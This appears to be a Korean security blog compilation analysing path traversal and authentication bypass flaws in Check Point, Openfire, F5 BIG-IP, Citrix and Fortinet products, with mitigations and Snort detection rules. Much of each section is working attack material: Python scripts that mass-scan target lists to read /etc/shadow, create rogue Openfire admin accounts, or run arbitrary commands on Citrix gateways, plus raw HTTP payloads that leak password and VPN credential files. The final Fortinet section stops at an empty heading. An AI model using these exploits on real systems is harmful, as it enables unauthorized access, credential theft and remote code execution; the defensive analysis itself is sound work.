1. 취약점 [1]

[사진 1] CVE-2024-24919

- Check Point사 제품들에서 발견된 Path Traversal 취약점
> 익스플로잇에 성공한 공격자들은 민감 정보를 탈취할 수 있음

구분 제품 영향받는 버전
영향받는 버전 CloudGuard Network, Quantum Maestro, Quantum Scalable Chassis, Quantum Security Gateways, Quantum Spark Appliances R77.20 (EOL), R77.30 (EOL), R80.10 (EOL), R80.20 (EOL), R80.20.x, R80.20SP (EOL), R80.30 (EOL), R80.30SP (EOL), R80.40 (EOL), R81, R81.10, R81.10.x, R81.20

 

2. 주요내용 [2]

- 패치 전후를 비교해 보면 "send_path_traversal_alert_log"라는 새 로깅 함수가 추가되어 있음
> 해당 함수는 sanitize_filename 함수에 의해 호출
> sanitize_filename를 참조를 확인하면 "sub_80F09E0 함수"와 "cpHttpSvc_register_query 함수"를 찾을 수 있음

 

[사진 2] sub_80F09E0

 

- cpHttpSvc_register_query 함수는 /clients/MyCRL URL을 사용하는 것으로 확인됨
> 해당 엔드포인트는 특정 경로를 GET 또는 POST로 요청하면 파일 시스템에서 해당 경로에 있는 파일을 반환해주는 역할을 수행
> URL에 특정 제어 문자를 추가(Ex. /clients/ MyCRL/test%0Atest) 하여 GET 요청을 전송하거나 POST 요청에 ..를 추가하는 경우 에러를 반환

 

sub_80F09E0 함수에는 _fopen 및 _fread 함수가 있음을 확인할 수 있음
> IDA가 인식하지 못하는 문자열들을 참조하는 것을 확인할 수 있음
> GDB를 통해 확인해보면, 사용자가 요청한 URL과 하드코딩된 여러 문자열을 strstr()로 비교 및 일치 시 파일 다운로드를 허용
하드코딩된 문자열 중 "CSHELL/"라는 문자열을 확인 가능

 

[사진 3] CSHELL/

CSHELL/ 문자열 뒤"../"를 추가할 경우
strstr() 함수는 CSHELL/ 문자열이 있기에 참을 반환
> 따라서, 추가한 ../ 문자열에의해 Path Traversal을 수행할 수 있게 됨

 

[사진 4] strstr() 결과

<<최종 페이로드 예시>>
POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

 

2.1 PoC [3]

- /clients/MyCRL URL로 POST 요청
- aCSHELL 매개변수에 경로 순회 문자(../) 및 대상 파일(/etc/passwd 등)을 포함해 요청 

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

vuln = ['root:', 'nobody:']


def make_request(url, payload=None, headers=None):
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    if payload and payload.startswith("aCSHELL/../../../../../../../etc/shadow"):
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      etc/shadow found:               ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    elif payload:
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      Your file was found:            ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    return
            print(f"[-] {url} is not vulnerable")
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")


def main():
    payload = "aCSHELL/../../../../../../../etc/shadow"
    parser = argparse.ArgumentParser(description="CVE-2024-24919 POC - erg0sum")
    parser.add_argument("-l", metavar='filename', type=str, help="File containing list of HTTP/HTTPS targets")
    parser.add_argument("-f", metavar='file', type=str, help="File to read for custom payload (May break on multiple targets with unknown files.)")
    args = parser.parse_args()

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Dnt": "1",
        "Sec-Gpc": "1",
        "Te": "trailers",
        "Connection": "close"
    }

    payload_base = "aCSHELL/../../../../../../../{}"

    if args.f:
        payload = payload_base.format(args.f)

    if args.l:
        try:
            with open(args.l, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()
                    if url.startswith('http://') or url.startswith('https://'):
                        make_request(url + '/clients/MyCRL', payload=payload, headers=headers)
                    else:
                        print(f"Skipping invalid URL: {url}")
        except FileNotFoundError:
            print(f"Error: File '{args.l}' not found.")
    else:
        print("Please provide a file containing list of HTTP/HTTPS targets using -l option.")


if __name__ == "__main__":
    main()

 

[영상 1] PoC 시연 영상

3. 대응방안

- 벤더사 제공 Hotfix 적용 [5]
> 핫픽스 적용 후 약한 인증 방법과 비밀번호를 사용한 모든 로그인 시도가 자동으로 차단 및 기록됨

 

- 취약한 사용자 계정 제거, 계정 정보 변경 등 조치

 

- 탐지정책 적용

alert tcp any any -> any any (msg:"CVE-2024-24919 Check Point Path Traversal"; content:"POST"; http_method;content:"/clients/MyCRL"; nocase; http_uri;content:"aCSHELL"; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-24919
[2] https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/
[3] https://github.com/seed1337/CVE-2024-24919-POC
[4] https://www.youtube.com/watch?v=h7iWwEBmlck
[5] https://support.checkpoint.com/results/sk/sk182336
[6] https://hackyboiz.github.io/2024/06/01/j0ker/2024-06-01/
[7] https://www.dailysecu.com/news/articleView.html?idxno=156396

1. Openfire [1]

- 자이브 소프트웨어(Jive Software)의 실시간 협업 서버

- XMPP(Extensible Messaging and Presence Protocol) 프로토콜을 기반으로 하는 오픈 소스 실시간 협업 서버

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32315 [2]

 

- 취약한 버전의 Openfire 관리 콘솔 페이지에서 설정 환경을 통한 경로 탐색이 가능한 취약점

> 해당 취약점은 2023년 패치 보안 업데이트를 발표하였으며, 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

> 최근 국가 배후 해킹조직에서 해당 취약점을 악용한 정황이 포착

제품명 영향받는 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 
4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4,
4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7,
4.7.0, 4.7.1, 4.7.2, 4.7.3, 4.7.4)

 

2.1 취약점 상세

- 해당 취약점은 2023년 패치 보안 업데이트를 발표

> 해당 업데이트를 적용하지 않은 서버를 대상으로 공격 수행

[사진 2] http.title:"Openfire Admin Console" 검색 화면

 

- 해당 취약점은 "testURLPassesExclude" 메소드에서 URL에 대한 입력값 검증이 부족하여 발생

> doFilter()는 HTTP 요청을 가로채 입력값 검증, 권한 검증 등을 수행하는 것으로 판단됨

> testURLPassesExclude 메소드는 doFilter()에 의해 호출

> testURLPassesExclude는 URL에서 ".." 또는 "%2e (디코딩 .)" 문자열만 필터링하며 그 외 추가적인 필터링은 존재하지 않음

public static boolean testURLPassesExclude(String url, String exclude) {
        // If the exclude rule includes a "?" character, the url must exactly match the exclude rule.
        // If the exclude rule does not contain the "?" character, we chop off everything starting at the first "?"
        // in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
        // character then the URL is allowed if it exactly matches everything before the * and there are no ".."
        // characters after the "*". All data in the URL before
        if (exclude.endsWith("*")) {
            if (url.startsWith(exclude.substring(0, exclude.length()-1))) {
                // Now make suxre that there are no ".." characters in the rest of the URL.
                if (!url.contains("..") && !url.toLowerCase().contains("%2e")) {
                    return true;
                }
            }
        }
        else if (exclude.contains("?")) {
            if (url.equals(exclude)) {
                return true;
            }
        }
        else {
            int paramIndex = url.indexOf("?");
            if (paramIndex != -1) {
                url = url.substring(0, paramIndex);
            }
            if (url.equals(exclude)) {
                return true;
            }
        }
        return false;
    }

 

- 공격자는 /%u002e%u002e/%u002e%u002e/ (디코딩 /../../)를 이용해 URL 입력값 검증을 우회

> 벤더사는 당시 웹 서버에서 지원하지 않는 UTF-16 문자의 특정 비표준 URL 인코딩에서 오류가 발생하였다고 밝힘

예시: "[Target IP]/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"

 

2.2 취약점 실습

- Opernfire 설치 후 정상 접근 확인

[사진 3] Openfire 정상 접근

 

- BurpSuite를 이용해 plugin-admin.jsp 요청을 전송하여 JSESSION ID 및 CSRF와 같은 필요한 세션 토큰을 획득

/setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp

[사진 4] 세션 토큰 획득

 

- 획득한 세션 토큰을 이용해 user-create.jsp 요청을 전송하여 새로운 관리자 계정 생성

[사진 5] 새로운 관리자 계정 test 생성

 

- test 계정으로 정상 접근관리자 권한을 가진 것을 확인

> [사진 5] 관리자 계정 생성시 관리자 세션 토큰을 이용해 관리자 권한을 가진 것으로 판단됨

[사진 5] 관리자 계정 test 정상 접근

 

2.3 PoC [3]

- 세션 토큰(JSESSION ID 및 CSRF) 획득 후 토큰을 이용해 새로운 계정 생성

import random
import string
import argparse
from concurrent.futures import ThreadPoolExecutor
import HackRequests

artwork = '''

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
'''

def generate_random_string(length):
    charset = string.ascii_lowercase + string.digits
    return ''.join(random.choice(charset) for _ in range(length))

def between(string, starting, ending):
    s = string.find(starting)
    if s < 0:
        return ""
    s += len(starting)
    e = string[s:].find(ending)
    if e < 0:
        return ""
    return string[s : s+e]

final_result = []

def exploit(target):
    hack = HackRequests.hackRequests()
    host = target.split("://")[1]

    # setup 1: get csrf + jsessionid
    jsessionid = ""
    csrf = ""

    try:
        url = f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp"

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }
        print(f"[..] Checking target: {target}")
        hh = hack.http(url, headers=headers)
        jsessionid = hh.cookies.get('JSESSIONID', '')
        csrf = hh.cookies.get('csrf', '')

        if jsessionid != "" and csrf != "":
            print(f"Successfully retrieved JSESSIONID: {jsessionid} + csrf: {csrf}")
        else:
            print("Failed to get JSESSIONID and csrf value")
            return
        
        # setup 2: add user
        username = generate_random_string(6)
        password = generate_random_string(6)
        
        header2 = {
            "Host": host,
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Connection": "close",
            "Cookie": f"JSESSIONID={jsessionid}; csrf={csrf}",
            "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
            "DNT": "1",
            "X-Forwarded-For": "1.2.3.4",
            "Upgrade-Insecure-Requests": "1"
        }

        create_user_url= f"{target}/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf={csrf}&username={username}&name=&email=&password={password}&passwordConfirm={password}&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7"
        hhh = hack.http(create_user_url, headers=header2)

        if hhh.status_code == 200:
            print(f"User added successfully: url: {target} username: {username} password: {password}")
            with open("success.txt", "a+") as f:
                f.write(f"url: {target} username: {username} password: {password}\n")
        else:
            print("Failed to add user")
        # setup 3: add plugin

    except Exception as e:
        print(f"Error occurred while retrieving cookies: {e}")

def main():
    print(artwork)

    ## parse argument
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The URL of the target, eg: http://127.0.0.1:9090', default=False)
    parser.add_argument("-l", "--list", action="store", help="List of target url saperated with new line", default=False)
    args = parser.parse_args()

    if args.target is not False:
        exploit(args.target) 
	
    elif args.list is not False:
        with open(args.list) as targets:
            for target in targets:
                target = target.rstrip()
                if target == "":
                    continue
                if "http" not in target:
                    target = "http://" + target
                exploit(target) 
    else:
        parser.print_help()
        parser.exit()

# def main():
#     parser = argparse.ArgumentParser(description="CVE-2023-32315")
#     parser.add_argument("-u", help="Target URL")
#     parser.add_argument("-l", help="File containing URLs")
#     parser.add_argument("-t", type=int, default=10, help="Number of threads")

#     args = parser.parse_args()

#     target_url = args.u
#     file_path = args.l
#     thread = args.t

#     targets = []

#     if target_url is None:
#         with open(file_path, "r") as file:
#             for line in file:
#                 target = line.strip()
#                 if target == "":
#                     continue
#                 if "http" not in target:
#                     target = "http://" + target
#                 targets.append(target)

#         with ThreadPoolExecutor(max_workers=thread) as executor:
#             for target in targets:
#                 executor.submit(exploit, target)
                

#     else:
#         exploit(target_url)

if __name__ == "__main__":
    main()

 

3. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6][7]

> decodedUrl()를 추가하여 UTF-8 디코딩 [8]

제품명 영향받는 버전 해결 버전
Openfire 3.10.0 ~ 4.7.4
(3.10.0, 3.10.1, 3.10.2, 3.10.3, 4.0.0, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.1.0, 4.1.1, 
4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.2.1, 4.2.2, 4.2.3, 4.2.4, 4.3.0, 4.3.1, 
4.3.2, 4.4.0, 4.4.1, 4.4.2, 4.4.3, 4.4.4, 4.5.0, 4.5.1, 4.5.2, 4.5.3, 4.5.4, 4.5.5, 
4.5.6, 4.6.0, 4.6.1, 4.6.2, 4.6.3, 4.6.4, 4.6.5, 4.6.6, 4.6.7, 4.7.0, 4.7.1, 4.7.2, 
4.7.3, 4.7.4)
4.6.8, 4.7.5, 4.8.0

 

- 업데이트가 불가한 경우 opt/openfire/plugins/admin/webapp/WEB-INF/web.xml 편집

> AuthFilter 요소에서 *를 제거 및 Authentication으로 설정한 후 모든 것을 제외

> 악용을 시도하는 경우 로그인 페이지로 리디렉션

[사진 6] 설정 파일 수정

 

- /%u002e%u002e/%u002e%u002e/ 탐지 정책 적용

 

4. 참고

[1] https://www.igniterealtime.org/projects/openfire/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32315
[3] https://github.com/miko550/CVE-2023-32315
[4] https://discourse.igniterealtime.org/t/cve-2023-32315-openfire-administration-console-authentication-bypass/92869
[5] https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
[6] https://www.igniterealtime.org/downloads/
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=71305
[8] https://github.com/igniterealtime/Openfire/blob/5454b57088ef6b62af39bb3cf704879baf55ab07/xmppserver/src/main/java/org/jivesoftware/admin/AuthCheckFilter.java#L194
[9] https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
[10] https://codewithvamp.medium.com/cve-2023-32315-administration-console-authentication-bypass-c1429f8c4576
[11] https://www.seqrite.com/blog/critical-security-alert-cve-2023-32315-vulnerability-in-openfire-xmpp-server/
[12] https://www.boannews.com/media/view.asp?idx=126400&page=1&kind=1

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

 

1.1 TMUI

- Traffic Management User Interface

- 웹 기반 트래픽 관리 사용자 인터페이스

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/cve-2020-5902

- BIG-IP의 Traffic Management User Interface(TMUI)에서 접근통제가 미흡하여 발생하는 원격코드실행 취약점

- ..; 문자열을 이용해 상위 디렉토리로 이동 후 인증 없이 중요 파일 또는 디렉터리 접근이 가능

- 취약점을 악용한 공격자는 대상 시스템에 다음과 같은 행위를 할 수 있음

① 인증없이 원격 코드 실행 (RCE)

② 파일 생성 및 삭제

③ 서비스 비활성화

④ 정보 탈취

임의의 시스템 명령과 Java 코드를 실행

⑥ 내부 네트워크로 공격을 확장할 수 있는 추가적인 대상을 탐색

영향받는 버전 : BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1

 

2.1 실습

- 아래 사이트에서 BIG-IP 15.1.0.2-0.0.9 LTM을 다운로드

 

BIG-IP Virtual Edition

Get F5 application services in any environment. On-premises, in the cloud, or a mix of both, F5 BIG-IP Virtual Edition (VE) delivers app services in ways that let you move faster than hardware allows. BIG-IQ simplifies holistically managing BIG-IP devices

www.f5.com

 

- 설정 후 BIG-IP 서버 접근 시 TMUI의 로그인 페이지 확인

※ 가상머신(.ova) 설치 후 설정없이 ifconfig 명령으로 확인되는 IP에 접속

※ 최초 설치 시 ID/PW는 root/default

[사진 2] 최초 접근 화면

 

- 버프슈트를 통한 Exploit 수행

① fileRead.jsp의 fileName 매개변수를 이용해 /etc/passwd 파일 접근 및 파일 내용 노출

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1

 

[사진 3] /etc/passwd 파일 노출

 

② directoryList.jsp의 directoryPath 매개변수를 이용해 디렉토리 리스트 조회

GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1

 

[사진 4] /usr/local/www 디렉토리 리스트 조회

 

③ 원격 명령 실행

- F5 BIG-IP는 TMSH라고 하는 CLI 환경을 제공

 

Commands

 

clouddocs.f5.com

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1

 

[사진 5] 원격 명령 실행

 

- 위 예시 외에도 다양한 명령을 통해 Exploit을 진행할 수 있음

 

BIGIP CVE-2020-5902 Exploit POC

BIGIP CVE-2020-5902 Exploit POC . GitHub Gist: instantly share code, notes, and snippets.

gist.github.com

 

2.2 PoC

- 아래 URL 외에 공개된 PoC를 확인해보면 /tmui/login.jsp/..;/ URL이 공통적으로 확인됨

https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

 

3. 대응방안

3.1 서버측면

① 최신 업데이트 적용

[사진 6] 취약점이 패치된 버전

 

② 허용된 IP만이 관리 인터페이스에 접근할 수 있도록 설정

- 화이트리스트 방식

 

③ 계정 정보 변경

 

④ F5에서는 httpd 설정에 아래 설정을 권고

- 요청 URL에서 ; 또는 hsqldb가 매칭되는 경우 404 에러 페이지로 리다이렉션

include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'

 

3.2 네트워크 측면

① 공개된 PoC를 통해 URL에 /tmui/login.jsp/..;/이 포함된 경우 탐지할 수 있는 정책을 설정 및 적용

- 모니터링을 통해 비인가 혹은 공격 의심 IP 차단 적용

alert tcp any any -> any any (msg:"BIG IP_RCE_CVE-2020-5902";flow:established,to_server;uricontent:"/tmui/login.jsp/..|3b|/tmui/"; nocase; )

 

4. 참고

https://nvd.nist.gov/vuln/detail/cve-2020-5902
https://gist.github.com/cihanmehmet/07d2f9dac55f278839b054b8eb7d4cc5
https://research.kudelskisecurity.com/2020/07/06/security-advisory-f5-big-ip-critical-severity-rce-vulnerability-cve-2020-5902/
https://support.f5.com/csp/article/K52145254
https://clouddocs.f5.com/cli/tmsh-reference/latest/commands/
https://blog.cloudflare.com/cve-2020-5902-helping-to-protect-against-the-f5-tmui-rce-vulnerability/

1. Citrix

- 1989년 설립된 미국의 다국적 소프트웨어 기업

- 서버, 애플리케이션 및 데스크톱 가상화, 네트워킹, SaaS, 클라우드 컴퓨팅 기술을 제공

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2019-19781

- 취약한 Citrix 제품군에서 입력값 검증이 부족하여 발생하는 디렉터리 트래버설 취약점

취약한 버전 : Citrix ADC(Application Delivery Controller) 및 Gateway 10.5, 11.1, 12.0, 12.1 및 13.0

 

[사진 2] SHODAN 검색 화면

 

2.1 분석

- 입력값에 대한 검증없이 요청 받은 경로를 직접 사용함으로써 발생하는 취약점

- 취약한 버전의 Citrix 제품군의 /vpns/ 경로에 인증 없이 디렉토리를 포함한 제한된 파일에 접근이 가능한 perl 스크립트가 존재

- 해당 perl 스크립트에서 요청 받은 경로를 직접 사용

Payload 예시
- https://Target IP/vpn/../vpns/services.html
- https://Target IP/vpn/../vpns/cfg/smb.conf

 

[사진 3] PoC 요청 및 200 응답

 

- 또한, 원격의 공격자는 XML을 업로드한 후 해당 XML 파일을 요청하여 내용을 확인 가능함

① POST 메소드로 /vpn/../vpns/portal/scripts/newbm.pl 경로 요청

② NSC_USER 헤더에 ../ 포함하여 randomletter(변경가능) 이라는 이름의 XML 파일 업로드

* Default 계정 정보 : nsroot/nsroot

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/randomletter
NSC_NONCE: nsroot
Content-Length: 97

url=http://example.com&title=randomletter&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]

③ ②에서 업로드한 파일 요청 시 /etc/passwd의 내용을 확인 가능

[사진 4] XML 파일 업로드 및 /etc/passwd 파일 노출

2.2 PoC

- /vpn/../vpns/portal/scripts/newbm.pl URL 요청 및 NSC_USER 헤더값 조작

#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")

if len(sys.argv) < 2:
  print("[-] No URL provided")
  sys.exit(0)

while True:
    try:
      command = input("command > ")

      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
      print("[+] Adding bookmark", random_xml + ".xml")

      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)

      if r.status_code == 200:
        print("[+] Bookmark added")
      else:
        print("\n[-] Target not vulnerable or something went wrong")
        sys.exit(0)

      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
      r = requests.get(burp0_url, headers=burp0_headers,verify=False)

      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
      print("[+] Result of the command: \n")
      print(replaced)

    except KeyboardInterrupt:
            print("Exiting...")
            break

 

3. 대응방안

3.1 서버측면

① 보안 패치 적용

버전 패치 버전 패치 공개일
10.5 10.5.70.12 2020.01.24
11.1 11.1.63.15 2020.01.19
12.0 12.0.63.13 2020.01.19
12.1 12.1.55.18 2020.01.24
13.0 13.0.47.24 2020.01.24

 

② Citrix는 특정 응답자 정책을 적용하여, 공격 시도를 필터링 할 것을 권장

- /../이 포함된 요청과 /vpns/ 디렉터리에 접근하려는 요청을 차단

add responder action respondwith403 respondwith "\"HTTP/1.1 403 
Forbidden\r\n\r\n\""

add responder policy ctx267027 
"HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && 
(!CLIENT.SSLVPN.IS_SSLVPN || 
HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" 
respondwith403

 

3.2 네트워크 측면

탐지 룰 적용 및 모니터링, 차단

- 공개된 PoC를 통해 /vpns/(혹은 /vpn/)이하의 URL로 접근 및 ../ 사용이 확인되므로 해당 문자열을 탐지

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2019-19781

https://github.com/mpgn/CVE-2019-19781

https://github.com/jas502n/CVE-2019-19781

https://www.cisa.gov/uscert/ncas/alerts/aa20-031a

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35250&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTktMTk3ODE=

- https://support.citrix.com/article/CTX267027/cve201919781-vulnerability-in-citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance

https://support.citrix.com/article/CTX276688/citrix-application-delivery-controller-citrix-gateway-and-citrix-sdwan-wanop-appliance-security-update

https://www.tripwire.com/state-of-security/citrix-netscaler-cve-2019-19781-what-you-need-to-know

https://www.tenable.com/blog/cve-2019-19781-exploit-scripts-for-remote-code-execution-vulnerability-in-citrix-adc-and

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-citrix-adc-and-citrix-gateway-directory-traversal-vulnerability-cve-2019-19781/

1. Fortinet SSL VPN

- Fortinet : 보안 솔루션을 개발 및 판매하는 다국적 기업

- SSL VPN : SSL(Secure Socket Layer) 기술을 사용한 VPN 솔루션으로 웹 서버와 클라이언트간의 안전한 통신을 위해 보안을 제공하는 프로토콜

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-13379

- Fortinet 제품에서 입렵값에 대한 검증을 적절히 수행하지 않아 특정 경로, 파일에 접근 가능한 취약점

- 취약점이 발생하는 제품 및 버전은 다음과 같으며, SSL VPN이 활성화된 경우에만 영향을 받음

제조사 제품 버전
Fortinet FortiOS 6.0.0 ~ 6.0.4
5.6.3 ~ 5.6.7
5.4.6 ~ 5.4.12
FortiProxy 2.0.0
1.2.0 ~ 1.2.8
1.1.0 ~ 1.1.6
1.0.0 ~ 1.0.7

 

2.1 분석

- “/remote/fgt_lang?”페이지 호출 시 lang 매개변수의 필터링을 제대로 수행하지 못해 발생하는 취약점

- 공격자는 lang 매개변수에 디렉터리 이동문자 "../"를 이용해 sslvpn_websession 등의 파일에 접근

- sslvpn_websession : 로그인 자격증명이 저장된 파일

Payload : Target IP/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

 

[사진 1] KISA 2021년 상반기 사이버 위협 동향 보고서.pdf 발췌

 

- [사진 1]의 요청을 통해 공격자에게 사용자의 ID/Password가 노출되며, 해당 계정정보를 통해 로그인이 가능

[사진 2] sslvpn_websession 파일 내용 노출 (ID/Password 유출)

2.2 PoC

